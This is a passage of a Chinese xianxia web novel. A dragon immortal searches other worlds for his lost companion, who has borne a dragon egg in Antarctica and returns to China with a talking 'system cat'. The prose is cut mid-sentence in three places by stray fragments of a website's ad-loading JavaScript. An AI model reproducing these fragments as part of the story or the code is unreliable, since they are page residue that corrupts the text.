封烬心乱如麻:“如果恩情是假的,那他为何会屡次助我……” 叶微桐将存放她这些年探查资料的玉石双手奉上,并给了封烬最后一击:“若平念尊与您并无任何情,为何会那般执着助您成仙?甚至可以为此压上自己的性命?” 封烬张口,却迟迟说不出一个字:“……” “宗主,该说的微桐都已说了,至于信与不信,是您自己的事了。” 叶微桐转身离开,这一次,封烬没有再阻拦她,或者说此刻他所有的注意力全在对方递上的存储玉石上。 他飞速翻阅着,仙境的修为足以令他确认这一切都是真实存在,并非叶微桐伪造而来。 桩桩件件都足以证明陆时从出现在他身边、拼命相救他、提他建立起天诛宗……都目的不纯。 当最后一页翻完,封烬攥紧了手中的玉石,脸上泛起苦笑:“你那么缜密的人,都没有将这些东西抹除,是笃定我不会不信你么?” 青年眼中有骤然得知被欺瞒的无措、也有百思不得其解的茫然,唯独没有愤怒。 相反,更多的则是得知他还活着的欣喜。 他神情变得坚定,笃定地喃喃道:“陆时,我说过的,我看中的,谁也抢不走!” “我一定会找到你,然后……向你赔罪。” 22. 如何寻觅 封烬在得知陆时还有生的希望后,几乎是一刻不停留地展开了寻找的尝试—— 他除了天诛宗,在无数修士惶惶不可终日的探查下,跨过山河四洲,径直踏进了天机阁的宗门。 封烬没有受到任何阻拦,殿门敞开,他走入其中抬头才见此地已经换了个主人。 一席雪色麻衣的青年轻轻颔首,沉静的神情宛若一尊活过来的石像,昔年那个顽皮、会偷懒的少年早已在这时间长河经久冲刷中充满了岁月的积淀。 他向这位元初界仅存的仙表达敬意,而后才缓缓开口,解答了他的疑惑:“师尊早已于三百年前同挚友法源大师一并驾鹤西去。” 封烬这才后知后觉意识到距他上次踏足此地,已经过去了好几百年,也难怪道承都换了代。 但他这惊异只持续了一瞬,就被抛之脑后,他谈及了自己的来意:“域外之人,如何寻觅?” 青年垂眸,陷入了沉默,封烬看见了他眼中的纠结,而非为难。 换言之,他有答案。 他上前一步,虽没有动用灵力,但高大的身形却是极具压迫:“交出答案,本座许你一诺。” 仙之一诺,不可谓不重。 青年却仍是摇头。 封烬血眸骤冷,但青年却仍是不卑不亢,他缓缓道出原因:“天机阁顺应天命,不沾凡尘,这一诺,天机阁不能收。” “至于仙尊所问之事……” 他抬手,殿内大阵转动,一个布满时间痕迹的木盒出现在他手中。 青年双手捧着,将其递给了身旁的封烬,恭敬道:“这便是师尊弥留之际,特意叮嘱我转交仙尊之物,他说,仙尊看完就能找到答案。” “是么?” 封烬浮现出在那场婚宴上的草草一瞥,那个孤高出尘的老人模样出现在眼前,他眼里的冷意有所消减,在接过木盒离开之后,缓和了语调道了一声:“多谢。” “你既不要俗物,那本座在此立誓,天诛宗会止戈三百年。” 他话音刚落下,就有金光闪闪的功德降下全归天机阁,因为他们扼制了无数桩血腥与杀戮。 封烬回完礼后不再多说,转身就走。 青年无可奈何,道则所赐不可拒,他只得躬身道谢:“恭送仙尊,祝仙尊……得偿所愿。” 封烬没有回天诛宗,而是去了北境。 昔日冰封的雪原随着魔物陨灭而冰雪融尽,众人这才知,古书上的记载不是无稽之谈,北境果真是一块灵宝遍地、灵脉充足的宝地。 只是却无一人胆敢肖想。 自北境骤变后,一尊仙阶法阵便将这块大地死死困守住,直到封烬发动长达两百年的巡天之役四处寻找复活之法,众人这才恍然大悟,那是平念尊的埋骨之地…… 自此,北境成了名副其实的禁地。 封烬只身一人抵达了北境深处,荒古战场依旧维持着原样,枯骨、血气冲天,唯一的区别,只是在这战场中央新起了一座素净的坟茔。 坟前无碑,但孤零零竖着的一柄长剑昭示了其身份。 封烬在坟前驻足,血眸垂落,停在古剑之上,缓缓道:“平念,好久不见。” “……” 却迟迟等不来任何回应。 仿佛这只是一柄最普通不过的凡剑,而非听懂人言、拥有灵智的绝世神兵。 封烬对这个结果毫不意外:“自他走后,你便一直在这里。明明从未被任何契约束缚,却仍是不肯离去……平念,你也一直在等他回来吧?” 封烬自嘲道:“从某种层面来说,你我算是同病相怜。” “嗡。” 沉寂的神兵终于有了反应,长剑破土而出,朝着封烬挥出全力一剑,凌厉的剑光破空划去,似是要将其斩于剑下。 只是失去了主人掌控的神兵所发挥的威势有限,遑论他眼前的人修为早已臻至化境。 剑光连封烬的护体真气都没能触及就骤然湮灭。 平念还想再斩,却被封烬先一步握住了剑柄,它立刻勃然大怒,动用一切威势试图逼他放手。 哪怕自毁,只要能跟封烬划清界限,也无所谓。 自它主人离去后,它视封烬为罪魁祸首,无一日不憎恨他。 封烬自然不会坐视不管,动用自身所有灵力暂时压制住平念后,道出了自己的来意:“平念,你也还想再见他吧?那就帮我。” 神兵猛地停止了挣扎,剑身警惕地微颤着,像是在犹疑思索他这样做背后的目的。 被怀疑封烬也不恼,反倒是拿出了一本古籍,在它面前翻开:“我找不到他,元初界与他羁绊最深的,便只有你了。” 平念定神望去,书中的记载令它有些讶异。 这正是上一任天机阁主天一道人所留封烬之物,上面记载了他经过数百年钻研,最终总结归纳出找到异世灵魂的方法,所谓——念。 界壁宽厚,洪荒瑶瑶,唯有思念方能跨越这漫长距离,方能有一线感知的机会。 平念瞬间就明白了他找上自己的用意,瞬时间,即便如今它只是一柄连一句人言都说不出来的剑,但封烬仍是能够清晰看出它无情地嗤笑与嘲讽。 它在说,你也有今天。 封烬眼中闪过一丝悸恸,即便早在听到陆时在意识消散前对自己那一句恭祝就已知道他对待自己的心意,此刻封烬这颗在胸膛中强劲跳动龙心仍是蓦地疼得不行。 陆时,在一起八百年,多少次生死与共,你竟对我哪怕一丝一毫超出常人的情意都没有么…… 他压下翻涌着的狂躁情绪,看向眼前长剑,甚至用上了一丝请求的语气:“平念,帮我找到他,让我带他回来,好吗?” 平念陷入了沉思,许久,它发出微颤。 它同意了。 理由很简单,它也很想再见陆时一面。 “那我们开始吧。” 封烬脸上浮现出喜色,松开了手掌撤去了桎梏:“你只要在心底呼喊陆时的名字……” 但平念却没有依照他预想中照做。 “嗡。” 长剑缓缓抬起,剑尖对准了封烬的喉心,没有半分迟滞之意。 封烬脸上笑容散尽:“你要我以道心立誓,不得做出任何违逆陆时心愿的事?” 长剑重重点头,坚定而果决。 它在逼迫封烬,为了它的主人。 封烬自然是不愿,但平念寸步不让,它强迫封烬二选一,同意,或者,毁了它。 封烬的脸色难看到了极点,积攒千年的威势若换做一般人此刻已被吓破了胆,只是他面前的是平念这柄宁可守在坟前、任由时间冲刷锈蚀而灭,也不愿另择他主的执拗神兵。 最终,这场对峙还是以封烬的退让告终。 “我封烬,以道心起誓——” “答应平念,它替我寻得陆时,我不得作出任何违背陆时意愿之事。” 天地颤动,此誓已成,如有违逆,道基受损,纵然封烬是仙,也也受到不小影响。 平念这才点头。 “来吧。” 封烬抬手,灵力涌出,撕裂位面于此刻已是仙境的他而言轻而易举。他抓住了平念在面前一划,一道裂缝出现在眼前。 一步跨出,元初界富饶的北境被界壁远远甩在身后,他们已身处在混沌之中后。 望着无垠的星空和隐藏其后的无数位面,迷惘、彷徨接踵而至。 但很快被封烬悉数压下,血眸落在手中长剑之上,他道:“去呼唤他的名字吧,让你主人回应你……” “嗡。” 平念依照封烬所吩咐,神识全开。 封烬也动用了天一道人所记载的秘法,神识全开,在这无垠的混沌、无数位面中试图感知到那微弱的萤光。 但无论尝试了多少次,结果始终以失败告终。 封烬攥紧了拳头,面露自嘲:“连你也不行吗,陆时,你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可真够狠心的,连平念都能被你抛下……” 无法感知,其实还有另外一个可能,只是封烬不敢去想,也接受不能。 平念发出不甘的震颤。 与此同时,在他们不远处,深处在混沌之外一个夹层位面中,有人结实松了一口气。 若是陆时在,定会发出惊讶的感叹,因为眼前人正是一个系统猫本体放大数百倍的巨大光球。 而它正是被系统猫背后蛐蛐为统扒皮的它的顶头上司,系统空间的主神。 此刻它不满到了极致。 当然,任谁正按部就班、加点加班完成堆积如山的工作,骤然得知一个历史项目出现重大披露,想安排人补救,却发现原本经手的员工已经提前退休。且其他职工手中都有任务离开不能时脸色都不会好看。 以至于并无任何五官的光幕上都能看出浓郁的气愤。 当然,抠归抠,但作为一个自诩责任心与能力俱佳的上司,找退休员工麻烦、返聘这种无良事,主神还是做不出来。 它选择自己亲自出马来收拾烂摊子。 在马不停蹄加固了两界界壁,确认没有发生一丝一毫泄露后,主神心想,只要等着这位偷渡客心灰意冷的打道回府,它就又能回去不开心地上班了。 只是,事情不可避免地出了意外。 “哈……” 封烬的喉中吐出沉闷的嘲笑,封烬重重阖眸:“既然你不想见我们,那就不见吧” 手掌紧攥成拳,力道之大,仙躯都被指甲刺破,艳红的龙血顺着指缝涌出,最后滴落在混沌之中绽放出点点血花。 封烬转身准备离开,然而这时,变故骤升。 血花坠落的地方,一株嫩苗破土而出,动静吸引了封烬,他驻足回眸查看,在他期盼的注视下,嫩苗开始抽条生长,最后长成了一株拥有碧翠九片枝叶的神异植物。 而在枝叶中央所在,一颗布满了灵纹的果实逐渐呈现。 封烬楞楞地念出了它的名字:“苏生果……” 《元初界通则》有载:苏生果,至上仙品灵药,可肉白骨活死人,其繁衍方式极为特殊。 若一人食之,则在宿主亡故后,于他枯骨之上历经万年重修形体;倘若两人分食,同食此果者,犹如并蒂双莲,命结一体。不论身处何处,凭果树枝杈便能感知对方平安。若共育生灵,苏生果方才会扩充繁衍…… 封烬不可避免地深藏心底的回忆—— “封烬,不准……我不准你死……” 眼前是模糊的人影,他试图睁大眼,却最终以失败告终,他看不见青年的脸,但断断续续的恳求声音令他还是大致拼凑出他此时的神情…… 必定是焦急的。 那是天都山一战的后续,他遭受重创、万恶缠身,危在旦夕,离死可谓只差一步。 但陆时不允他死,他用出了一切方法,试图救他。 “把它吃了,你就能活下来了……” 青年试图掰开他紧咬的唇,却因剧痛的折磨而无果。 眼见他危在旦夕,最终他心下一横,将灵果送进嘴中,而后俯身而下,艰难地用舌头撬开他的唇齿,将灵果渡了过去。 感受到纯澈的灵力气息,失去了神志的他本能地轻咬,于是连同灵果一并咬破的,还有青年的舌…… 一时间,灵力和青年的血和他的气息交融在一起,沉重的伤势被修复、亏空的灵力被补满,却也意外激发了他那深埋在心底里的情意。 早已成年多时的他一推再推的情潮也在此时趁虚而入,封烬理智全消,彻底归于本能,虎跃而起拥住了人将他按在身下,龙目猩红如血,满是贪婪与恳求—— 他迫切的想要,却隐忍着始终不肯更进一步,直到听见一声叹息后的无奈轻唤。 “来吧……” 凝望着这一枚娇艳欲滴的红果,封烬瞳孔震颤,巨大的欣喜吞没了他:“陆时没死,还有了……我的孩子?” 23. 小小龙蛋 “完了,要出事!” 一旁的主神脸色大变,急忙想要加固两界通道,却还是迟了一步。 沉浸在巨大惊喜中的封烬迅速做出反应,灵力起手,织构成法阵,这一次,他直接以苏生果为阵眼起卦—— 通过并蒂双生的紧密联系,这一次,他终于得到自己之物。 血眸跨过遥遥星河,径直锁定了那个蔚蓝绚丽的位面:“在那里!” 封烬不假思索地抓起平念,灵力全开,朝所感应到的位面急速冲去。 “陆时,等我……” “坏事了!”主神自知自己已无法阻拦封烬,它经过片刻沉思后,最终作出一个沉重的决定。 专业的事情,还是让专业的人来吧。 它立刻打开了遍布各大位面的快速通道找出前往蓝星那一条,快步跨入。 蓝星,南极洲。 作为远离大陆架和文明国度的孤独之地,这里冰雪长存,被视为人类最后的净土。 只是如今在今日,这片土地的宁静却被打破。 厚重的乌云毫无征兆的在雪原中央聚集,随即耀眼的惊雷劈落,威势之强,几百公里之外都能清晰可见劫雷的狰狞,它似是要将撕裂整片大地。 突如其来的异状吸引了驻扎在这片土地上的科考队伍注意,几乎是立刻阻止了会议试图言谈出具体情况。 但若此时此刻有人在雷劫周围百里就能清晰地看到,在雷劫劈落的地方,一道莹白的屏障撑起了小小的一方天地。 看似与天穹上遮天蔽日的劫雷对比是那么微不足道,但当劫雷劈落的那一刻,方见分晓。 劫雷劈落,却被屏障稳稳地接住。 在溅起无数火星后,一道雷劫威能被消弭殆尽,如此往复九下,直到最后一道雷劫劈完散尽,乌云就如同它汇集时的突然迅速消失的无影无踪。 取而代之的则是一番奇异景象,七彩浮云飘在天穹之上,在这片经久只有风雪声的枯燥大地上,一道清脆的灵音缭绕…… 若有修士在场,定会惊呼天地异象。 只可惜,这里是无人区深处,也自然无人认出那道抗下所有劫雷的屏障就是失传多年的灵阵。 灵阵中,整片大地的灵力被阵法汇聚于一处,浓郁的灵气甚至汇聚成灵泉。 陆时全身浸在灵泉之中,充盈的灵力沿着他的肌肤流入灵脉,最后在灵府之中汇聚,却仍是亏空的厉害。 “恭喜!陆时,父子平安!” 听到系统猫庆贺的声音,陆时艰难地睁开了沉重的眼皮,声音嘶哑低沉:“孩子呢?” “在呢在呢。” 灵池旁等候的系统猫立刻献宝似地推出了一个婴儿车,在陆时灰翳的眸子期盼注视下拉开了车罩,露出了躺在婴儿座椅上的地……一个蛋。 那是一个比系统猫略小一号的蛋,通体玄黑,但细看之下不难发现蛋纹上有着极为浅淡的灰翳色彩。 系统猫用肉垫充作扫描仪,一阵探查后告诉了陆时一个细致的情况:“孩子各项体征都很稳固,只等破壳了。” “还得孵啊……” “谁叫封烬那混蛋是龙啊,种族不同……呃,不过说实话蛋也挺好的,至少不用换尿布。” 像是为了说服陆时,系统猫特意补充地解释了一句:“他现在是有灵识的,能听懂你说话,只是暂时无法回应……” “啊,现在他应该是闹累了在补觉。毕竟刚一诞生在这个世界上,就遇到了想要劈死自己的雷劫,应该被吓坏了。” 陆时微愣,好一会儿才接受了这个事实:“只是个蛋就这么闹腾,孵出来岂不是个混世魔王?” 他看似是说着为难的话,但上扬的嘴角和眼中的慈爱却不难看出他心中真实想法。 系统猫也不拆穿,转而问到未来打算:“陆时,现在蛋也生下来了,你未来怎么打算?继续待在这里用灵阵反哺己身,直到孩子破壳吗?” 之所以这样说,是因为他们这两年转遍了蓝星,对如今的修真界有了一个更为确切的了解。 蓝星虽然依旧有异于常人的能力存在,但这些修者不论是从实力还是影响力,都已买的极为微弱。 久而久之,他们得出了结论,蓝星依旧到了末法时期,不再适合修行。 而南极洲,则是他们在环游了世界之后发现灵力最深厚的地方。所以在感知到腹中崽子即将诞生之后,陆时就特意布置了聚灵阵暂时在此落脚。 但如今崽子已经平安生下,也是该决定下一步该如何行动的时候了。 系统猫自然是倾向于继续在南极洲修养,这里除了没有外卖以外,简直是一个绝佳的度假场所,还能够帮助陆时修补伤势。 然而陆时却摇头否决了这个提议。 系统猫不解:“为啥啊?” 陆时无奈道:“承蒙收留,算是一桩美谈,霸着不走,就成了恶客了。再者,出来了这么久,也有一点想念自己的狗窝了。” 他想起了暂时被他抛之脑后的琐碎杂事,灰翳的眼眸闪过一丝不耐:“顺便将一些暂时搁置的账算完,就正式步入退休生活吧。” 系统猫点点头:“对了,我们什么时候走?” 陆时想了想,给了个具体时间:“明天吧。” 系统猫的视线下移,落在了他隐没在灵池的小腹之上,担忧的问道:“你的身体没事吧……” 陆时立刻明白了它这话中意思,笑了一声,摇了摇头道:“我没什么大事,只是有些虚弱,调理下就能恢复状态。” “好吧,你既然决定好了,我都听你的。”系统猫道:“你先安心修养吧,崽就我带着吧,顺便将我们的行李整理一下。” 陆时最后看了眼龙蛋,点头道:“有劳。” “咱俩谁跟谁啊。” 确认陆时进入修炼状态后,系统猫前爪离地,用肉球推着装有龙蛋的婴儿车离开了灵泉所在。 在路上,它喋喋不休地对还只是一个蛋的龙崽吐槽:“崽啊,要记好了啊,陆时是你父亲,而我是除了他之外你最亲近的人,你可以喊我系统猫叔叔。” “至于你另一个爹……” 系统猫眼前浮现出封烬的脸,又想起那卡了三百年的进度条,气不打一处来,嘴贱道:“那就是个混蛋,又抠、又事儿逼……” “还有,你要记好了,害得你父亲死了一次的就是他,他就是个不折不扣的大坏蛋——不对,是大坏龙!” 在推车后的系统猫全然没有发现,原本静谧的龙蛋又微小的颤动,自顾自地将心底积压了多年的不满吐出来后,畅快地长舒了一口气。 “不过崽你只要知道他是这么个人就好,因为我们现在已经到了一个他永远都找不到的地方,我们是不可能再跟他见面的!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 然而这时,一道幽幽的喟叹打断了信誓旦旦的系统猫:“那可不一定。” 系统猫立刻吓得夹紧了尾巴:“谁?!” 而在它警惕的目光注视下,一只比他身形大上百倍的……橘猫从空间裂缝中走了出来。 跟系统猫如出一辙的大胖脸上全是咬牙切齿的无可奈何:“0527,好久不见。” 系统猫好悬没惊掉下巴:“统扒……主、主神?你怎么会在这里?” 主神逼迫自己忽略了那句差点脱口而出的外号,缓步走到了系统猫的面前,神情严肃地谈起了正事:“接下来我要说的事情,你千万不要害怕。” “啊?难道你要让我返聘?”系统猫想也不想:“不行——” 主神翻了个白眼,“我可不像你一样没有节操,面对任务摆烂,选择招个宿主替自己努力。” 系统猫立刻抻长了脖子反对道:“陆时是能干,但也是我慧眼如炬才能找到他!” 主神此刻也知道跟这个叛逆的下属再尬聊只会浪费时间,干脆道来了正事:“说到你的宿主,我此行,正是为他而来。他可能……摊上事了。” 系统猫愣了好几秒,愣是没有反应过来这其中有什么瓜葛,于是一拍肉垫,底气十足地反问主神:“陆时的任务都做完了,现在清清白白一个人,能摊上什么事?” “是么?” 主神促狭一笑,系统猫刚安定下来的一颗心立刻跳到了嗓子眼,一股不妙的语感在它心中蔓延。 果然,就见主神实现缓缓下滑,幽幽道:“那你给我解释解释,你推的婴儿车里放的这么一枚蛋,哪里来的?” 系统猫一双猫瞳立刻瞪得浑圆! 糟,它忘了陆时还有修为的事了,要是让主神发现,岂不是……不,说不定主神加班到老眼昏花没有发现呢? 只要我糊弄过去就好了。 系统猫如此在心底告诫自己,挺了挺自己并不存在的胸膛,道:“这个蛋,它、它是食——” 主神无情戳破了系统猫最后一丝幻想:“我知道他是封烬的孩子。” 系统猫一默,旋即扑了上去四肢并用抱住了主神的一只腿,扯着嗓子开始喊:“陆时,快带着崽跑,我给你拦住这个统扒皮……” 梆。 系统猫挨了一击举行猫猫爪,被强行打断了哭嚎:“行了,陆时修为的事,我不打算追究。” 正打算挤出两滴眼泪开始哭嚎的系统猫立刻抬起了头:“义父果真?” 主神幽幽道:“虽然不知道这份修为是怎么保留下来的,不过的确是好事一桩。” “原本我还想着怎么保全你们,但如今看来,你们拥有自保能力,那么……” 那种不好的预感再次笼罩了系统猫:“那么什么?” 主神猫咧了一个灿烂的笑容:“封烬,就交给你们自己应付了,就当是抵消我不追究他保留修为的债。” “哦哦,封烬是吧,没问题……” 系统猫说了一半突然反应过来,眼珠子差点瞪飞出眼眶:“谁?封、封烬?!他要过来?老板这是怎么回事啊——” 只是它的老板已开始已读不回。 一抬头,就发现主神猫已经两只腿跨入了空间裂缝,在走之前,还朝它抛了一个格外欠揍的眼神:“加油,0527,统扒皮看好你。” 算作对系统猫嘴欠的回敬。 24. 熟人相逢 “别介啊老大——” 系统猫还想要追问,但主神猫已经踏入空间裂缝,通道也随之彻底关闭,独留孤零零一只大胖系统猫在灵阵央风中凌乱。 它试图说服自己:“主神的意思不会是说封烬要来吧,哈哈,这怎么可能……” 主神临别时的一声轻笑在此刻显得是那么震耳欲聋,系统猫彻底假笑不出来。 “要是封烬真的追过来可怎么办……呃,等等。” 系统猫后知后觉想道:“陆时跟封烬无冤无仇,他追过来又怎么了?” “这才休息了多久啊,我就把这么重要的东西给忘了,这cpu别不是锈坏了吧?” 瞬间,系统猫原本紧绷的毛皮都放松了下来。 虽然它并不知道封烬为什么放着好端端的日子不过,突然整这么一出,还惊动了主神,害得它突然一阵担惊受怕。 但也因此阴差阳错地解决了陆时的修为问题,可以称得上是两全其美、可喜可贺。 它立刻就准备告诉陆时这个消息,但一转头就想起了陆时正在修养,于是封烬可能会来的消息就被它暂时抛在脑后。 当然,系统猫没忘了龙蛋的存在。 它用肉垫安抚地拍了拍蛋壳,无所谓地说道:“崽啊,你可千万得藏好了,万一那头大坏龙真来了,你可不能让他发现,不然肯定把你给抢了去。” 系统猫全然不长记性,仗着封烬对它的存在浑然不知,尽情扭曲事实,胡编乱造:“到时候别说是连婴儿车都没得坐了,就连饭都不一定有吃,没错,那头大坏龙就是这么过分,你爹爹可被他害的老惨了……” 说了个爽后,系统猫想起了正事,一拍肉垫恍然大悟:“差点忘了,得赶紧收拾东西回去……” 于是移开视线的它全然没有发现龙蛋微颤着将自己往婴儿车里挪了足足一公分。 一天的时间很快过去。 等陆时从灵池中再次苏醒的时候,系统猫已经将行李搭理的整整有条。 “灵药、灵石已经用须弥戒收好,衣服行李全部在后备箱里,啊,崽的话我也准备妥当了,当当当当……” 系统猫拉开了车门,陆时好奇看去,就见龙蛋被安稳地放置在车后座上的儿童座椅里面,只是那儿童座椅的外形令他有倏地的沉默。 “先不说LV家到底有没有儿童座椅这个产品,我很好奇,你什么时候买的这玩意儿?” 系统猫挺了挺胸膛,自豪地说道:“就我们到巴黎那会儿啊,不是一堆人打砸商店吗?我出门溜达,就发现一黑人大兄弟在摆地摊卖这玩意儿。” “本来我是不想买的,但是他只要50欧哎!谁能拒绝一个50欧的LV?你看,现在这不正好用上了吗?” 陆时成功被他说服:“是的,用上了。” 他微微俯身,全神贯注地打量着这颗从自己灵府中孕育而出、拥有着自己血脉延续的龙蛋许久。 陆时忽然笑了起来,笃定地说道:“相信我,他会是个乖孩子的。” 系统猫不解:“啊,这能看出来吗?” “个人感觉。” “哦哦。” 系统猫也没有纠结这个话题,毕竟每个家长都对自己的孩子会有滤镜,这不足为奇。 它麻溜蹦上了车后座剩余一张航空椅,甩着尾巴催促陆时:“崽就交给我照顾吧,我们出发吧。” “嗯,好。”陆时这才收回了轻抚龙蛋的手掌,望向茫茫雪原,调动了灵力:“走了。” 横渡南极洲后,一人一猫一蛋直接在阿根廷包了一家私人飞机直飞国内,但即便省去了繁缛的中转,飞机落地榕城时,也已经是一天后。 重回陆地,系统猫发出舒适的喟叹:“啊,还是脚踏实地的感觉最舒服。” 陆时正在跟航司的服务人员沟通后续的托运问题——他的车并没有随他一起飞回来,而是选择走的海运,如今正处于申报完封集装箱,等货船启航。 预计到达国内的时间在三个月后。 “还有一件事,榕城机场的贵宾通道正在维护,您需要走普通通道出关……很抱歉给您造成不好的体验。” “没关系,麻烦你们了。” 送走了航司的服务人员后,陆时一手抱着蛋,另一只手则托着系统猫,上了机场的接驳车朝机场安检楼驶去。 车上,系统猫满是不解:“陆时,弄得这么麻烦干嘛,像我们在非洲那样,直接将车缩小藏进须弥戒里面,御剑带回来不就好了吗?” 陆时有些无奈:“那是国外,还是处于混乱的地界,这样操作没人会管。但国内可全是监控,两者之间没有任何可比性,现在处理一些麻烦的手续,总比后续层出不穷的麻烦找上门要好。” “好吧,我都听你的。” 谈话间,入关的检查站到了。 陆时递护照,系统猫则在审核官员检查中熟练地歪头喵了一声装成普通宠物,因为有陆时特意找人定做的全套疫苗接种证书,它很快就被略过。 至于龙蛋,则被陆时运用了灵力遮掩,别说是人眼,就连机场的仪器也无法能探查到他的存在。 于是像之前无数次那样,啪的一声,印章落下,他们顺利通关。 “陆时先生,欢迎您回到华国……” 入关后,陆时沿着通道的指引往出口方向走去,路上,看着这熟悉又陌生的建筑,他不禁发出感叹:“好就没回来了,竟然还有点想念……” 而在这时,他忽然敏锐地察觉到了异样,在即将走到墙拐角时突然驻足。 系统猫还没来得及问,下一秒,一个身形壮硕的大汉从另一头神色匆匆地冲了过来。 在看到有人后,他也是吓了一跳,立刻补了一句:“抱歉哈,我有点事……” 他所言非虚,是真的很急,不过一眨眼的功夫,就消失在走廊尽头。 但就是这么一个照面,陆时已经看清了来人的长相,也因此分辨除了来人的身份。 系统猫气鼓鼓地说道:“急着投胎去啊,在机场还火急火燎的,要是撞到人可怎么办……” 它后知后觉发现了陆时脸上的哂笑,疑惑问道:“怎么了,陆时,你笑什么?” “没什么,只是感慨,一回来就遇到一个熟人。未来想要安宁,看来是难了。” 系 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 统猫立刻转头看向男人消失的方向:“你说得是刚刚那个差点撞到你的男人?他谁啊?” 陆时没说,而是抬起手,食指上戴着的须弥戒灵光一闪吐出一张巴掌大的纸片。 “喏。” 系统猫定睛一看,才发现那是一张名片,蓝白的底色显得老气,庄重的黑色字体写着:榕城特警支队队长,黄明宇。 经过一阵仔细回想,它终于想起了来人是谁:“就是那个抓了你经纪人的警察?” “嗯,是他。” “那是挺巧的了,不过他来这里干什么?” 系统猫看着人来人往的机场,想着刚刚看到的对方一身休闲打扮,猜测道:“去度假,结果起晚了赶不上飞机了?” 显然不是。 “他就算真的像你说的那样起晚了,那也该是往另一头冲去,那边才是登机的入口。” 陆时循着他走去的方向释放出了探究的神识,不出预料得到了一些极为有趣的东西。 黄明宇一路跑到了机场检查室,而此时,警卫、海关工作人员、机场警察都一脸严肃地守在门外,看到他的到来后结结实实松了一口气。 值守主管迎了上来:“黄队长,您终于来了!” 黄明宇气还没喘过来,就问道:“到底什么情况?你们说这里发生了恶性的杀人事件?” 值守主管的脸色变得很难看,在和警卫对视一眼后,一脸苦色地说道:“具体什么情况我们说不上来,您自己亲眼看看……会更加直观。” 黄明宇不明所以,但不等他发问,对方已经拉开了紧闭的检查室大门。 顿时,屋内空调冷风嗖嗖地往门外吹,风速之大,在室内都将黄明宇的发型都吹乱。 而冷气中混杂的一股浅淡气息令黄明宇陡然瞪大了眼。 “这是……血腥味?!” 他脸色骤然变得无比难看,大步走进屋内,然而屋内并没有他预想中惨烈的杀人现场,反而空空荡荡。 只有房间中央用来检查行李的桌子上摆放着一个拉开了一半的行李箱。 另一半的拉链合的严严实实,透过松开的缝隙依稀能够看出一丝毛皮的纹路,像是某种皮质服饰……但黄明宇的眉头却无比紧蹙,因为他已经能够确信,行李箱里面装着的东西,就是血腥味传来的源头! “难道说……不会吧?” 陆时也动用神识扫向那个行李箱,得到的结果令他自己也感到惊奇。 没有感知出来。 这个箱子好像它压根不存在一眼。 这令陆时来了兴趣,于是将神识锚定在黄明宇身上,以第一视角近距离观摩—— 黄明宇朝着拉链伸出手,手掌颤动的弧度光凭肉眼难以分辨,这足以说明,即便是见多了市面的刑警大队长,在面对这种未知的情况下时也依旧是忐忑不安。 “希望只是弄错了……” 这样想着,黄明宇已经抓住了拉链,手掌发力,拉链一点一点地被拉开,行李箱装着物品的庐山真面目也即将展现在陆时眼前…… 身后突然传来了惊疑不定的呼喊:“陆时!竟然真的是你!?” 25. 小人得志(一更) “嗯?” 陆时收回了神识,循着声音传来的方向抬眸望去,看到的是头戴帽子,墨镜遮眼,口罩遮脸,脖子缠围巾,裹得严严实实的人。 从声音分辨,他是一个男人,但陆时仔细回想了一圈自己的交友圈,并没有发现有这种连一块皮肤都不肯露出见人怪癖的人。 于是好奇问道:“你是?” 谁知这却令来人彻底炸毛,声音高亢而尖锐:“哈,陆时,你装什么!” 熟悉的腔调和久远的记忆重合,系统猫发出难以置信的惊呼:“不会吧……” 那人摘下了墨镜口罩露出的一连嫌弃和得意忘形似曾相识,令系统猫恨得咬牙切齿:“还真是他!” 谢安然双手抱胸,趾高气昂地说道:“怎么样,陆时,看到我,你有没有想说的?” 陆时还没回答,他就已经自己自问自答地说了下去:“你以为向税务局举报公司偷税漏税,害得公司资金紧张,只能被迫停止了对艺人的支出就能毁了我的星途?怎么可能!” 大概是这口气憋的太久,找到了宣泄的口子,就一泻千里,一发不可收拾。 “我告诉你,事情跟你预料的恰恰相反!林彤跟董事长将所有的资源全部集中在我的身上!现在,我不仅是公司的一哥,还是新晋的顶流!” 系统猫戳着陆时,无语地总结道:“看来他是认为你是为了针对他,所以才举报了欢都娱乐?不是,他是不是有点太自恋了?” 陆时点头表示认同。 他抬头看着一脸趾高气昂的谢安然,平静地道出一个名字:“所以你是出演了你的王制片承诺给你的电影角色?” 肉眼可见的,前一秒还趾高气昂的谢安然脸色变得狰狞扭曲,音调尖锐:“陆时,你故意的!” 也不怪谢安然反应这么激烈的。 想他当初为了能红,是捏着鼻子献身给王康文,眼见着大爆电影的男二一角即将收入囊中,他都已经想好在电影评选的颁奖典礼上怎么发言。 结果香槟开到一半,就传来了惊天噩耗——王康文的丑事突然被曝光。 别说是他承诺的角色跟他彻底无缘,就是电影也无期限的跳票,别看谢安然自诩风光,实则是靠着高强度出演偶像剧,以炒cp、拉踩对家等各种各样的手段才维持住今天的人气。 陆时这一番话跟直接在他的伤口上撒盐没两样。 谢安然深吸一口气,瞪大眼看曾被自己视作对手的陆时,如今一身朴素、浑身还带着没来得及散尽在奔波中产生的喧嚣风尘气。 他告诫自己:这都是陆时在妒忌自己,不能中了他的圈套…… 不得不说,这个方法很管用,谢安然的情绪不说恢复到古井无波的极致平静,但在说出讥讽的话语时,至少脸上也能显得心平气和:“陆时,这两年我怎么连你的一点消息都没能收到,怎么,你是不混娱乐圈了吗?” 系统猫也看出了其中猫腻,气鼓鼓地说道:“可恶,真想告诉他让王康文身败名裂的就是你!不知道这个讨厌鬼知道真相后,还敢不敢这么嚣张!” 可惜的是陆时为了安稳生涯铺垫良多,不会为了一个无足轻重的谢安然乱了全盘布置。 面对挑衅,他大方点头:“你说林彤成了你的经纪人,我以为她会跟你说我退休的消息?” 谢安然却不屑笑道:“退休?你还挺会给自己找补!明明是被封杀才对吧!我可是亲自听到董事长找了各大顶级的娱乐公司商量好了,拒绝你的一切合作!” “陆时,相比这两年你一定过得很凄惨吧?是在乡下养猪,还是说在种地?还是说去送外卖了?” 一连列举了好几个职业的同时,谢安然突然上前一步,睁大眼不肯放过陆时脸上一丝被触动的反应。 结果自然是没有。 别说情感波动,陆时眉毛都没皱一下。 